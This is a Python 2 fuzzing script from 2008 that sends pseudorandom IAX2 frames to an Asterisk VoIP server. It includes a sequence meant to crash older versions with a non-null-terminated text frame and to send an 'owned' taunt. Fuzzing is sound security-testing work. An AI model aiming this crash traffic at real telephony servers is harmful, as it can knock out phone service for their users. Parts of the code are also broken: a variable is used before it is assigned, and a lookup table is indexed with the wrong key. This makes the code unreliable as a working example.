#!/usr/bin/env python """ fuzz_iax2a.py by Javantea aka. Joel R. Voss April 16, 2008 Released under GNU GPL, read the file 'COPYING' for more information This script contains a fuzzer that allows us to test a device or server. It uses the altsci_iax2 exploit framework. The first test of sequence 2 is a great success. No crashes but a lot of debugging data from asterisk. """ import altsci_iax2 from random import seed, randint from time import sleep, time from socket import socket, AF_INET, SOCK_STREAM, SOCK_DGRAM def sequence700_text(session, i): """ Send valid dtmf tones for 700 (#Neg9 Irc Reader) then send a non-null-terminated string via FT_TEXT (kills strlen on an old version). """ if i == 300: print 'sending dtmf' session.send(data, frame_type = altsci_iax2.IAX_FRAMETYPE['FT_DTMF_BEGIN'], subclass = ord('7')) elif i == 312: session.send(data, frame_type = altsci_iax2.IAX_FRAMETYPE['FT_DTMF'], subclass = ord('7')) elif i == 324: session.send(data, frame_type = altsci_iax2.IAX_FRAMETYPE['FT_DTMF_BEGIN'], subclass = ord('0')) elif i == 336: session.send(data, frame_type = altsci_iax2.IAX_FRAMETYPE['FT_DTMF'], subclass = ord('0')) elif i == 348: session.send(data, frame_type = altsci_iax2.IAX_FRAMETYPE['FT_DTMF_BEGIN'], subclass = ord('0')) elif i == 360: session.send(data, frame_type = altsci_iax2.IAX_FRAMETYPE['FT_DTMF'], subclass = ord('0')) elif i == 380: print 'sending 0wnage!' data = 'you have been owned by a script muhahahaha' session.send(data, frame_type = altsci_iax2.IAX_FRAMETYPE['FT_TEXT'], subclass = 0) #end if #end def sequence700_text(session, i) def sequence2(session, i): """ Sequence 2 uses a random frame_type and subclass zero for more likely attack. """ data = 'blah' if i % 13: k = randint(0, len(altsci_iax2.IAX_FRAMETYPE.keys())-1) key = altsci_iax2.IAX_FRAMETYPE.keys()[k] frame_type = altsci_iax2.IAX_FRAMETYPE[key] session.send(data, frame_type = frame_type, subclass = 0) return True #end if return False #end def sequence2(session, i) def sequence1(session, i): """ Sequence 1 uses random frame_type and subclass for a very random attack. """ if i % 13: data = 'yak' k = randint(0, len(altsci_iax2.IAX_FRAMETYPE.keys())-1) key = altsci_iax2.IAX_FRAMETYPE.keys()[k] sk = randint(0, len(altsci_iax2.IAXCTL_SUBCLASS.keys())-1) skey = altsci_iax2.IAXCTL_SUBCLASS.keys()[sk] session.send(data, frame_type = altsci_iax2.IAXCTL_SUBCLASS[key], subclass = 0) return True #end if return False #end def sequence1(session, i) def iax2_fuzz1(host, port=4569, in_seed=None, aout=None, out_filename='', verbose=True, sequence=2): """ This function sends a lot of pseudorandom packets to an asterisk server. The seed is printed so that the attack can be reproduced. The sequence can be any of the 3 above functions: 1, 2, or 700 maps to sequence 1, 2, and 700_text """ if in_seed == None: in_seed = randint(0, 1014079999) #end if seed(in_seed) print 'seed =', in_seed pcm_data = '' session = altsci_iax2.IAX_session(host, port, verbose) outfile = None if out_filename != '': outfile = file(out_filename, 'w') #end if my_iseq = 0 my_oseq = 0 # Capability == GSM, ... data = altsci_iax2.IAX_create_ie(altsci_iax2.IAX_IE_TYPE['IAX_IE_CAPABILITY'], altsci_iax2.pack_long(0x000002aa)) # Reqd Version, Called number, codec prefs, Calling Presentation, # Calling TON, Calling TNS, Format? session.send(data) # Receive a few times because it goes: # VNAK, LAGRQ, LAGRQ, PING, LAGRQ, PING, ... # or: # IC_ACCEPT, FT_CONTROL 4, FT_VOICE 2, IC_ACCEPT rt, ... resp = session.recv() doit = 0 if resp[0] == altsci_iax2.IAX_FRAMETYPE['FT_IAXCTL'] and resp[1] == altsci_iax2.IAXCTL_SUBCLASS['IC_ACCEPT']: print "Accepted, let's ack" data = '' session.send(data, frame_type = altsci_iax2.IAX_FRAMETYPE['FT_IAXCTL'], subclass = altsci_iax2.IAXCTL_SUBCLASS['IC_ACK']) doit = 1 #end if for i in range(722): resp = session.recv() if aout and len(resp) == 5 and 'pcm' in resp[4]: pcm_data += resp[4]['pcm'] if outfile and len(resp) == 5 and 'gsm' in resp[4]: outfile.write(resp[4]['gsm']) #end if if verbose: print data = '' if doit: if sequence == 700: sequence700_text(session, i) elif sequence == 2: sequence2(session, i) else: sequence1(session, i) #end if #end if if len(pcm_data) > 33000: if aout: aout.write(pcm_data) pcm_data = '' #end if #next i session.close() if outfile: outfile.close() if aout and len(pcm_data) > 0: aout.write(pcm_data) pcm_data = '' #end if #end def iax2_fuzz1(host, [port=4569], [aout=None], [out_filename=''], [verbose=True], [sequence=2]) def main(): """ Usage: python fuzz_iax2a.py [host] [port] [sequence] [seed] [out_filename] """ host = '192.168.0.3' port = 4569 out_filename = '' aout = None in_seed = None verbose = True sequence = 2 from sys import argv if '-q' in argv: verbose = False argv.pop(argv.index('-q')) #end if if len(argv) >= 2: host = argv[1] #end if if len(argv) >= 3: try: port = int(argv[2]) except: print "Invalid port:", argv[2] port = 4569 #end try #end if if len(argv) >= 4: sequence = int(argv[3]) #end if if len(argv) >= 5: in_seed = argv[4] try: in_seed = int(in_seed) except: pass #end try #end if if len(argv) >= 6: out_filename = argv[5] #end if if altsci_iax2.alsaaudio: # Open the onboard device in playback mode. #out = altsci_iax2.alsaaudio.PCM(altsci_iax2.alsaaudio.PCM_PLAYBACK, altsci_iax2.alsaaudio.PCM_NORMAL, 'plug:i8x0') # Open the default device in playback mode. aout = altsci_iax2.alsaaudio.PCM(altsci_iax2.alsaaudio.PCM_PLAYBACK) # Set attributes: Stereo, 8000 Hz, 16 bit little endian frames aout.setchannels(2) aout.setrate(8000) aout.setformat(altsci_iax2.alsaaudio.PCM_FORMAT_S16_LE) # The period size controls the internal number of frames per period. # The significance of this parameter is documented in the ALSA api. aout.setperiodsize(160) #end if try: iax2_fuzz1(host, port, in_seed, aout, out_filename, verbose, sequence) except KeyboardInterrupt: # A very narrow exception to allow ctrl-c to exit sanely. pass #end try #end def main() if __name__ == '__main__': main() #end if